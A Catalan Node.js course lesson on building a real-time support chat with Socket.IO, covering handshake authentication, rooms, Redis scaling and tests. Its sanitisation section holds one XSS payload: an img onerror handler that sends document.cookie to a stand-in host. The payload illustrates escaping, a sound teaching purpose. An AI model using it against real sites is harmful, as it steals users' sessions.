Al tancament del Mòdul 11 ja va quedar dit: deixem de construir una sola aplicació per construir-ne quatre de completes. I convé aclarir d'entrada que no són quatre dominis inventats ni quatre exercicis solts: són productes satèl·lit d'Escena Viva, la plataforma de venda d'entrades que portes construint des del Mòdul 1. El fil conductor no es trenca, es ramifica.

Aquest primer projecte és el suport en directe d'Escena Viva. La Lucía compra dues entrades per a l'evt-003 (Festival de Jazz de Primavera), no li arriba el correu amb els codis EV-2026-000417 i EV-2026-000418, i en comptes d'escriure un correu que es respondrà d'aquí a dos dies obre un xat des del web. A l'altra banda, un agent veu la conversa entrar en una cua i l'atén.

La idea genuïnament nova és la comunicació bidireccional en temps real. Tot el que hem fet fins ara segueix un patró: el client pregunta, el servidor respon. Aquí, per primera vegada, el servidor necessita parlar sense que ningú li hagi preguntat res.

Contingut

  1. El requisit de negoci i per què HTTP no basta
  2. Decisions de disseny: sondeig, sondeig llarg, SSE i WebSocket
  3. Què hi afegeix Socket.IO i què costa
  4. Integració amb l'aplicació existent
  5. Autenticar el socket al handshake
  6. El contracte d'esdeveniments del domini
  7. Sales de conversa: converses i grup d'agents
  8. Persistència de l'historial i càrrega per cursor
  9. El repte tècnic: escalar el temps real a diversos processos
  10. Presència, validació i límit de freqüència
  11. Proves i què queda fora

  1. El requisit de negoci i per què HTTP no basta

  • Un assistent autenticat obre una conversa des de qualsevol pàgina, i queda en una cua visible per als agents connectats.
  • Un agent la pren; a partir d'aquí té exactament un agent assignat.
  • Tots dos veuen els missatges de l'altre a l'instant, sense recarregar, i quan l'altre escriu.
  • L'historial es conserva: si la Lucía torna demà, veu el que es va dir.

Tot això és un CRUD normal tret del tercer punt. Amb el servidor node:http del M4 i l'Express 5 del M6, el servidor només pot parlar quan li pregunten. Si l'agent respon, no hi ha res en el model petició-resposta que porti aquell missatge al navegador de la Lucía per iniciativa del servidor.

  1. Decisions de disseny: sondeig, sondeig llarg, SSE i WebSocket

Tècnica Com funciona Latència Cost servidor Bidireccional Quan triar-la
Sondeig El client demana cada N segons N/2 de mitjana Alt: peticions buides No Dades que canvien cada minuts, pocs clients
Sondeig llarg El servidor reté la resposta fins que hi ha novetat Gairebé immediata Mitjà No Reserva si WebSocket està bloquejat
SSE (text/event-stream) Connexió HTTP oberta per la qual el servidor escriu esdeveniments Immediata Baix No: només servidor → client Notificacions, marcadors, progrés
WebSocket Actualització del protocol a un canal TCP full-dúplex Immediata Baix Sí Xat, col·laboració, jocs

Descarts raonats. El sondeig: amb 300 assistents i sondeig cada 2 s són 150 peticions per segon, gairebé totes retornant buit; pitjor latència i més despesa. El sondeig llarg funciona —de fet és la reserva interna de Socket.IO— però triar-lo com a mecanisme principal obliga a reimplementar reconnexió, ordre i agrupament a mà. SSE és l'opció que més gent descarta massa de pressa, i és excel·lent: si el requisit fos només «l'assistent veu les respostes en viu», guanyaria, perquè és HTTP estàndard, travessa servidors intermediaris, es reconnecta sol amb Last-Event-ID i no necessita cap llibreria; però aquí l'assistent també escriu, i amb SSE tindríem dos canals (SSE per baixar, POST per pujar), dues rutes d'autenticació i dues d'error. L'asimetria no compensa. WebSocket guanya perquè el domini és simètric: tots dos extrems emeten i reben amb la mateixa freqüència i urgència.

  1. Què hi afegeix Socket.IO i què costa

Necessitat WebSocket pur Socket.IO
Reconnexió en perdre la xarxa L'escrius tu Inclosa i configurable
Enviar a un subconjunt de clients Estructura de dades pròpia Sales de conversa (socket.join)
Saber si l'altre ha rebut el missatge Protocol propi Confirmacions (callback d'emit)
Xarxes que bloquegen l'Upgrade Falla Reserva a sondeig llarg
Separar dominis en un port Rutes pròpies Espais de noms (/suport)

El cost, sense adorns: Socket.IO no és WebSocket estàndard, el seu protocol va per sobre. Un client que obri new WebSocket('wss://...') no hi entendrà res: el client ha de ser socket.io-client. Si demà el requisit fos «que un sistema extern es connecti al nostre canal», aquesta decisió passaria factura. Aquí tots dos extrems són el nostre front-end, així que el cost és assumible i el guany, enorme.

npm install socket.io @socket.io/redis-adapter && npm install -D socket.io-client

ioredis ja hi és des del M10; l'adaptador el reutilitza.

  1. Integració amb l'aplicació existent

Aquí es cobra una decisió de fa sis mòduls. Al M6 vas insistir que src/app.js exporta crearAplicacio() i mai crida listen; el listen viu a src/servidor.js, que crea l'http.Server a mà. Aquesta separació és exactament el que permet muntar Socket.IO ara: no es munta sobre una aplicació Express, es munta sobre un servidor HTTP.

// src/servidor.js — s'amplia, no es reescriu
const http = require('node:http');
const { crearAplicacio } = require('./app.js');
const { configuracio } = require('./config/index.js');
const { muntarTempsReal } = require('./temps-real/servidor-sockets.js');

async function arrencarServidor() {
  const servidorHttp = http.createServer(crearAplicacio());
  // El mateix servidor HTTP serveix l'API REST i el canal de temps real.
  const io = await muntarTempsReal(servidorHttp);
  servidorHttp.listen(configuracio.port);

  // Aturada ordenada (M11): primer els sockets, despres l'HTTP.
  // A l'inreves deixariem connexions penjades sense avisar el client.
  const aturar = async () => {
    await io.close();
    servidorHttp.close(() => process.exit(0));
  };
  process.on('SIGTERM', aturar);
  return { servidorHttp, io };
}
module.exports = { arrencarServidor };

Un sol port: l'API a /api/v1/... i el temps real a /socket.io/ conviuen, sense tocar el balancejador ni el docker compose del M11. El SIGINT es registra igual que el SIGTERM.

  1. Autenticar el socket al handshake

Reutilitzem verificarAcces de src/serveis/tokens.js (M8) tal qual: no hi ha una autenticació «de sockets», hi ha la mateixa identitat verificada en un altre punt.

// src/temps-real/autenticacio-socket.js
const { verificarAcces } = require('../serveis/tokens.js');

// Middleware de Socket.IO: corre una vegada, al handshake,
// abans que el socket pugui emetre res.
function autenticarSocket(socket, seguent) {
  const token = socket.handshake.auth?.token;
  if (!token) return seguent(new Error('CREDENCIALS_ABSENTS'));
  try {
    const carrega = verificarAcces(token);
    // La identitat queda al socket i estara disponible a cada esdeveniment.
    socket.dadesUsuari = { usuariId: carrega.sub, rol: carrega.rol, nom: carrega.nom };
    return seguent();
  } catch { return seguent(new Error('CREDENCIALS_INVALIDES')); }
}
module.exports = { autenticarSocket };

Per què el token d'accés i no la galeta de refresc. La galeta viatjaria també al handshake si l'origen coincideix, però recolzar-s'hi és mala idea: no s'ha d'utilitzar per autoritzar operacions sinó només per emetre accessos nous; en desplegaments amb dominis diferents no viatja sense relaxar SameSite; i handshake.auth és explícit, el client decideix quina credencial lliura. El problema que es descobreix en producció: l'accés caduca als 15 minuts i el socket viu hores. La connexió no cau tota sola. La solució sana és revalidar dins del mateix socket amb un setInterval d'un minut que verifiqui el token guardat i, si falla, emeti sessio:caducada i desconnecti. El client renova per REST amb la seva galeta de refresc i es torna a connectar. Deixar el socket viu per sempre equival a que revocar un usuari no tingui efecte fins que tanqui el navegador.

  1. El contracte d'esdeveniments del domini

Un nom d'esdeveniment és un contracte tan seriós com una ruta REST. Ningú no reanomenaria POST /api/v1/comandes a la lleugera; reanomenar missatge:enviar trenca igual, amb l'agreujant que no hi ha cap 404: el client emet al buit i ningú no se n'assabenta. Per això els esdeveniments es documenten, es versionen amb l'espai de noms (/suport/v1) i es centralitzen.

// src/temps-real/esdeveniments.js
// Contracte public del canal. Canviar un nom aqui es incompatible.
const ESDEVENIMENTS = {
  // Client → servidor
  CONVERSA_OBRIR: 'conversa:obrir', CONVERSA_TANCAR: 'conversa:tancar',
  MISSATGE_ENVIAR: 'missatge:enviar', AGENT_ESCRIVINT: 'agent:escrivint',
  HISTORIAL_CARREGAR: 'historial:carregar',
  // Servidor → client
  MISSATGE_REBUT: 'missatge:rebut', CONVERSA_ASSIGNADA: 'conversa:assignada',
  CUA_ACTUALITZADA: 'cua:actualitzada',
};
module.exports = { ESDEVENIMENTS };

Les confirmacions converteixen això en una cosa fiable: l'últim argument d'emit pot ser una funció que el receptor invoca.

// Client: envia i espera confirmacio amb temps limit.
socket.timeout(5000).emit('missatge:enviar',
  { conversaId, text, idClientMissatge: crypto.randomUUID() },
  (errorTemps, resposta) => errorTemps
    ? reintentar(idClientMissatge)
    : marcarLliurat(idClientMissatge, resposta.missatgeId));

L'idClientMissatge és la clau del reintent segur: és la idempotència de l'Idempotency-Key del M10 aplicada a un socket. Si el client reintenta perquè no li va arribar la confirmació, el servidor reconeix l'identificador i retorna el missatge ja guardat en comptes de duplicar-lo.

  1. Sales de conversa: converses i grup d'agents

Una sala de conversa és només una etiqueta sobre un conjunt de sockets. En fem servir tres famílies:

Sala de conversa Qui hi entra Per a què
conversa:<id> L'assistent propietari i l'agent assignat Missatges i «escrivint»
agents Sockets amb rol organitzador o administrador Cua de converses sense atendre
usuari:<id> Tots els sockets d'un mateix usuari Avisos personals (diverses pestanyes)
// src/temps-real/gestors/conversa.js
const { ESDEVENIMENTS } = require('../esdeveniments.js');
const { esquemaObrirConversa, esquemaMissatge } = require('../esquemes.js');

function registrarGestorsConversa({ io, socket, repositoriXat }) {
  const { usuariId, rol, nom } = socket.dadesUsuari;
  socket.join(`usuari:${usuariId}`);
  if (rol === 'organitzador' || rol === 'administrador') socket.join('agents');

  socket.on(ESDEVENIMENTS.CONVERSA_OBRIR, async (dades, confirmar) => {
    const analisi = esquemaObrirConversa.safeParse(dades);
    if (!analisi.success) return confirmar({ error: { codi: 'DADES_INVALIDES', estat: 400 } });
    const conversa = await repositoriXat.crearConversa({
      assistentId: usuariId, assistentNom: nom, ...analisi.data,
      estat: 'en_cua', creadaEl: new Date().toISOString() });
    socket.join(`conversa:${conversa.id}`);
    io.to('agents').emit(ESDEVENIMENTS.CUA_ACTUALITZADA, { conversa });
    return confirmar({ conversa });
  });

  socket.on(ESDEVENIMENTS.MISSATGE_ENVIAR, async (dades, confirmar) => {
    const analisi = esquemaMissatge.safeParse(dades);
    if (!analisi.success) return confirmar({ error: { codi: 'DADES_INVALIDES', estat: 400 } });
    const { conversaId, text, idClientMissatge } = analisi.data;
    // Autoritzacio: el socket ha de ser a la sala. Es la versio en temps
    // real de la referencia directa insegura del M8. Comprovar socket.rooms
    // es barat i correcte perque entrar a la sala nomes ho concedeix el servidor.
    if (!socket.rooms.has(`conversa:${conversaId}`)) {
      return confirmar({ error: { codi: 'ACCES_DENEGAT', estat: 403 } });
    }
    const missatge = await repositoriXat.guardarMissatge({
      conversaId, autorId: usuariId, autorNom: nom, autorRol: rol,
      text, idClientMissatge, enviatEl: new Date().toISOString() });
    io.to(`conversa:${conversaId}`).emit(ESDEVENIMENTS.MISSATGE_REBUT, missatge);
    return confirmar({ missatgeId: missatge.id });
  });
}
module.exports = { registrarGestorsConversa };

  1. Persistència de l'historial i càrrega per cursor

L'historial viu a MongoDB (M7), amb el patró repositori i sense deixar escapar Mongoose fora de src/repositoris/.

// src/repositoris/xat-mongo.js — extracte
// La consulta sempre es "aquesta conversa, per data".
esquemaMissatge.index({ conversaId: 1, enviatEl: -1 });
// Index unic: bloqueja el duplicat del reintent del punt 6.
esquemaMissatge.index({ conversaId: 1, idClientMissatge: 1 }, { unique: true });

async function carregarHistorial({ conversaId, cursor, limit = 30 }) {
  const filtre = { conversaId };
  // Paginacio per cursor del M10: res de skip, que degrada amb el volum.
  if (cursor) filtre.enviatEl = { $lt: new Date(cursor) };
  const docs = await ModelMissatge.find(filtre).sort({ enviatEl: -1 }).limit(limit + 1).lean();
  const hiHaMes = docs.length > limit;
  const pagina = hiHaMes ? docs.slice(0, limit) : docs;
  return { missatges: pagina.reverse().map(aDomini),
           cursorSeguent: hiHaMes ? pagina[0].enviatEl.toISOString() : null };
}

En obrir es carreguen els 30 últims; en desplaçar-se cap amunt, el client emet historial:carregar amb cursorSeguent. És la paginació del M10 aplicada cap al passat.

  1. El repte tècnic: escalar el temps real a diversos processos

Al M10 vas arrencar amb cluster, i al M11 amb PM2 i diverses rèpliques a Docker. Amb una API REST sense estat això no canvia res. Amb sockets sí que importa, i de la pitjor manera: la Lucía es connecta i el balancejador l'envia al procés A, on viu el seu socket; en Marc, l'agent, cau al procés B i respon, així que B executa io.to('conversa:42').emit(...); però B només coneix els seus sockets i a la seva taula aquella sala conté únicament en Marc. El missatge es guarda a MongoDB i la Lucía no veu res fins que recarrega. És l'error més desconcertant possible: «funciona en local, funciona a vegades en producció».

La causa és que el registre de sockets i sales és memòria local del procés. La solució és l'adaptador de Redis: cada emissió es publica en un bus compartit i cada procés reparteix als seus.

flowchart LR
  subgraph PA["Proces A"]
    L["socket de Lucia"]
  end
  subgraph PB["Proces B"]
    M["socket de Marc"]
  end
  R[("Redis pub/sub")]
  M -->|"emit a conversa:42"| PB
  PB -->|"PUBLISH"| R
  R -->|"SUBSCRIBE"| PA
  PA -->|"lliurament local"| L
// src/temps-real/servidor-sockets.js
const { Server } = require('socket.io');
const { createAdapter } = require('@socket.io/redis-adapter');
const Redis = require('ioredis');
const { autenticarSocket } = require('./autenticacio-socket.js');
const { registrarGestorsConversa } = require('./gestors/conversa.js');

async function muntarTempsReal(servidorHttp) {
  const io = new Server(servidorHttp, {
    cors: { origin: configuracio.origensPermesos, credentials: true },
    maxHttpBufferSize: 100_000,  // el valor per defecte (1 MB) es absurd per a un xat
    pingInterval: 25_000, pingTimeout: 20_000 });
  // Dues connexions: a Redis un client subscrit no pot executar
  // altres ordres, i l'adaptador necessita publicar i subscriure.
  const publicador = new Redis(configuracio.redis.url);
  io.adapter(createAdapter(publicador, publicador.duplicate()));

  const suport = io.of('/suport/v1');
  suport.use(autenticarSocket);
  const repositoriXat = crearRepositoriXat();
  suport.on('connection', (socket) =>
    registrarGestorsConversa({ io: suport, socket, repositoriXat }));
  return io;
}
module.exports = { muntarTempsReal };

Amb això, io.to(...) funciona igual amb un procés que amb dotze. Dos advertiments: l'adaptador no persisteix (si la Lucía està desconnectada, no rep res; per això MongoDB és la font de veritat i el socket només el canal ràpid), i amb la reserva de sondeig llarg activa calen sessions enganxoses, perquè les peticions d'un mateix client han de caure al mateix procés. Si fixes transports: ['websocket'], no calen.

  1. Presència, validació i límit de freqüència

Presència. «És en línia» sembla un booleà i no ho és: un portàtil que es tanca no avisa (el servidor se n'assabenta en fallar el batec, fins a 20 s després) i tancar una pestanya de tres no vol dir marxar. La regla: un comptador de sockets per usuari a Redis.

async function marcarConnectat({ redis, io, usuariId }) {
  const total = await redis.incr(`presencia:${usuariId}`);
  // Xarxa de seguretat: si el proces mor mai no fara el decr,
  // i sense caducitat el comptador quedaria inflat per sempre.
  await redis.expire(`presencia:${usuariId}`, 120);
  if (total === 1) io.emit('presencia:canviada', { usuariId, enLinia: true });
}
async function marcarDesconnectat({ redis, io, usuariId }) {
  if ((await redis.decr(`presencia:${usuariId}`)) > 0) return;
  await redis.del(`presencia:${usuariId}`);
  io.emit('presencia:canviada', { usuariId, enLinia: false });
}

Validació. req.dadesValidades és un middleware d'Express i els esdeveniments de socket no passen per Express: cal validar a cada gestor amb els mateixos esquemes zod del M6.

// src/temps-real/esquemes.js
const esquemaMissatge = z.object({
  conversaId: z.string().uuid(),
  text: z.string().trim().min(1).max(2000),
  idClientMissatge: z.string().uuid(),
});
const esquemaObrirConversa = z.object({
  assumpte: z.string().trim().min(3).max(120),
  esdevenimentId: z.string().regex(/^evt-\d{3}$/).optional(),  // 'evt-003'
});
module.exports = { esquemaMissatge, esquemaObrirConversa };

Sanejament. L'XSS entra pel xat: si un assistent escriu <img src=x onerror="fetch('//dolent.test?c='+document.cookie)"> i el panell de l'agent ho pinta amb innerHTML, l'atacant executa codi a la sessió d'un organitzador. La regla del M8 continua vigent: escapar en mostrar. El servidor guarda el text tal qual i el client fa servir textContent. Si el producte exigeix negreta i enllaços, se sanegen al servidor amb llista blanca, com al magazín del 12-03. I el límit de freqüència: express-rate-limit tampoc no actua aquí, així que un comptador dins del mateix socket ja n'hi ha prou —guarda les marques de temps dels últims 10 segons i rebutja si ja n'hi ha 10.

  1. Proves i què queda fora

Aquí cal un servidor real escoltant, perquè el protocol necessita un port. El patró: aixecar-lo al port 0, connectar clients reals i tancar-ho tot a l'afterEach.

// test/temps-real/xat.test.js
describe('suport en directe', () => {
  let servidor; let sockets; let url;
  beforeEach(async () => {
    servidor = http.createServer(crearAplicacio());
    sockets = await muntarTempsReal(servidor);
    await new Promise((llest) => servidor.listen(0, llest)); // port 0: un de lliure
    url = `http://localhost:${servidor.address().port}/suport/v1`;
  });
  afterEach(async () => { await sockets.close(); servidor.close(); });

  const connectar = (rol, usuariId) => clientIo(url, { transports: ['websocket'],
    auth: { token: signarTokenDeProva({ sub: usuariId, rol, nom: usuariId }) } });

  it('rebutja la connexio sense token', (fi) => {
    const client = clientIo(url, { transports: ['websocket'] });
    client.on('connect_error', (error) => {
      expect(error.message).to.equal('CREDENCIALS_ABSENTS');
      client.close(); fi();
    });
  });
  it('no lliura la conversa a un tercer alie a la sala', (fi) => {
    const lucia = connectar('assistent', 'usr-lucia');
    const intrus = connectar('assistent', 'usr-intrus');
    intrus.on('missatge:rebut', () => fi(new Error('fuita entre sales')));
    lucia.emit('conversa:obrir', { assumpte: 'No rebo les meves entrades' }, (r) =>
      lucia.emit('missatge:enviar', { conversaId: r.conversa.id, text: 'Hola',
        idClientMissatge: '11111111-1111-4111-8111-111111111111',
      }, () => setTimeout(() => { lucia.close(); intrus.close(); fi(); }, 200)));
  });
});

No provis que Socket.IO lliura missatges: això ja ho proven ells. Prova la teva lògica: el rebuig sense token, l'aïllament de sales, la idempotència de l'idClientMissatge i que ningú no emet a una conversa on no és.

Fora de l'abast Per què Com s'ampliaria
Adjunts Duplica la feina de pujada del 12-03 Pujar per REST i enviar per socket l'URL signada
Xifratge extrem a extrem Incompatible amb moderació i auditoria Només si el negoci accepta no llegir les converses
Transcripcions per correu És feina de cua, no temps real Treball BullMQ (M10) en tancar la conversa
Xatbot de primera línia És un altre domini sencer Base de coneixement abans d'encuar a l'agent

Errors Comuns i Consells

  • Emetre des d'un controlador REST sense accés a io. No l'importis com a singleton global: injecta'l com a dependència (crearControladorComandes({ repositori, notificador })), igual que al M6. Es prova amb Sinon i no acobla capes.
  • Oblidar l'adaptador de Redis fins a producció. En local amb un procés tot funciona. Afegeix-lo des del primer dia.
  • Confiar en l'usuariId que envia el client. La identitat és a socket.dadesUsuari, posada pel handshake verificat.
  • No posar maxHttpBufferSize (un missatge de 5 MB tombaria la memòria) ni recrear connexions de Redis per socket: dues per a tot el procés, creades una sola vegada.
  • Consell: registra amb pino (M11) cada esdeveniment amb usuariId i conversaId. Un canal en temps real sense registres és impossible de depurar.

Exercicis

  1. Cua d'agents amb repartiment. Implementa conversa:prendre: només un agent pot prendre una conversa en cua; si dos ho intenten alhora, el segon rep { error: { codi: 'CONFLICTE_DESTAT', estat: 409 } }. Emet a la sala agents perquè desaparegui de la cua dels altres.

  2. Indicador d'escriptura amb caducitat. Implementa agent:escrivint de manera que l'indicador s'apagui sol si no arriben esdeveniments en 3 segons, sense emetre'n un per cada tecla.

  3. Prova del reintent idempotent. Envia dues vegades el mateix idClientMissatge i verifica que l'historial conté un únic missatge i que la segona confirmació retorna el mateix missatgeId.

Solucions

1. Cua d'agents amb repartiment

socket.on('conversa:prendre', async (dades, confirmar) => {
  const { rol, usuariId, nom } = socket.dadesUsuari;
  if (rol !== 'organitzador' && rol !== 'administrador') {
    return confirmar({ error: { codi: 'ACCES_DENEGAT', estat: 403 } });
  }
  // Actualitzacio condicional atomica: nomes canvia si continua en cua.
  // Mateixa idea del blocatge del M7: la condicio viatja a la consulta.
  const conversa = await repositoriXat.assignarSiEnCua({
    conversaId: dades.conversaId, agentId: usuariId, agentNom: nom });
  if (!conversa) return confirmar({ error: { codi: 'CONFLICTE_DESTAT', estat: 409,
    missatge: "La conversa ja l'ha presa un altre agent" } });
  socket.join(`conversa:${conversa.id}`);
  io.to('agents').emit('cua:actualitzada', { conversaId: conversa.id, retirada: true });
  io.to(`conversa:${conversa.id}`).emit('conversa:assignada', conversa);
  return confirmar({ conversa });
});

El repositori fa servir findOneAndUpdate({ _id, estat: 'en_cua' }, { $set: { estat: 'atesa', agentId } }, { new: true }): si un altre agent hi ha arribat abans, el filtre no encaixa i retorna null. Sense transaccions i sense condicions de carrera.

2. Indicador d'escriptura amb caducitat

// Servidor: reenvia a la sala menys a l'emissor, amb marca de caducitat.
socket.on('agent:escrivint', ({ conversaId }) => {
  if (!socket.rooms.has(`conversa:${conversaId}`)) return;
  // socket.to (no io.to) exclou l'emissor, que es el que volem aqui.
  socket.to(`conversa:${conversaId}`).emit('agent:escrivint',
    { usuariId: socket.dadesUsuari.usuariId, fins: Date.now() + 3000 });
});

// Client: limita a una emissio cada 2 s i apaga per temporitzador.
socket.on('agent:escrivint', ({ usuariId, fins }) => {
  mostrarIndicador(usuariId);
  clearTimeout(temporitzadors[usuariId]);
  temporitzadors[usuariId] = setTimeout(() => amagarIndicador(usuariId), fins - Date.now());
});

A l'emissor, l'input no emet a cada tecla: guarda la marca de l'última emissió i només torna a emetre passats 2 segons. Així el trànsit és constant encara que s'escrigui molt de pressa.

3. Prova del reintent idempotent

it('no duplica el missatge si el client reintenta', async () => {
  const lucia = connectar('assistent', 'usr-lucia');
  const { conversa } = await emetreAmbEspera(lucia, 'conversa:obrir',
    { assumpte: 'Dubte amb evt-001' });
  const carrega = { conversaId: conversa.id, text: 'Hola',
                    idClientMissatge: '22222222-2222-4222-8222-222222222222' };
  const primera = await emetreAmbEspera(lucia, 'missatge:enviar', carrega);
  const segona = await emetreAmbEspera(lucia, 'missatge:enviar', carrega);
  expect(segona.missatgeId).to.equal(primera.missatgeId);
  const { missatges } = await emetreAmbEspera(lucia, 'historial:carregar',
    { conversaId: conversa.id });
  expect(missatges).to.have.lengthOf(1);
  lucia.close();
});

Al repositori, guardarMissatge captura l'error de clau duplicada (error.code === 11000) de l'índex únic del punt 8 i retorna el document existent. La idempotència es recolza en la base de dades, no en memòria: així funciona també amb diversos processos.

Conclusió

Has construït el suport en directe d'Escena Viva i, amb ell, l'única cosa que faltava al teu model mental del servidor: que pot parlar primer. Vas triar WebSocket per damunt de SSE perquè el domini és simètric, vas acceptar el cost de Socket.IO a canvi de reconnexió, sales i confirmacions, i vas muntar el canal sobre el mateix http.Server que ja tenies gràcies a una decisió del M6 que avui ha cobrat sentit.

El repte no era obrir un socket: era descobrir que el temps real i l'escalat horitzontal es porten malament per naturalesa, entendre per què el missatge es perd entre processos i resoldre-ho amb l'adaptador de Redis. Aquest patró —estat local que deixa de ser vàlid tan bon punt hi ha més d'un procés— reapareixerà cada vegada que escalis alguna cosa.

A la lliçó següent muntem la botiga de marxandatge d'Escena Viva, on apareix l'element que canvia totes les regles d'enginyeria: els diners de veritat, amb passarel·la de pagament, webhooks signats i una màquina d'estats que no admet errors.

Curs de Node.js: De Principiant a Avançat

Mòdul 1: Introducció a Node.js

Mòdul 2: Conceptes Bàsics

Mòdul 3: Sistema de Fitxers i E/S

Mòdul 4: HTTP i Servidors Web

Mòdul 5: NPM i Gestió de Paquets

Mòdul 6: Framework Express.js

Mòdul 7: Bases de Dades i ORMs

Mòdul 8: Autenticació i Autorització

Mòdul 9: Proves i Depuració

Mòdul 10: Temes Avançats

Mòdul 11: Desplegament i DevOps

Mòdul 12: Projectes del Món Real

© Copyright 2026. Tots els drets reservats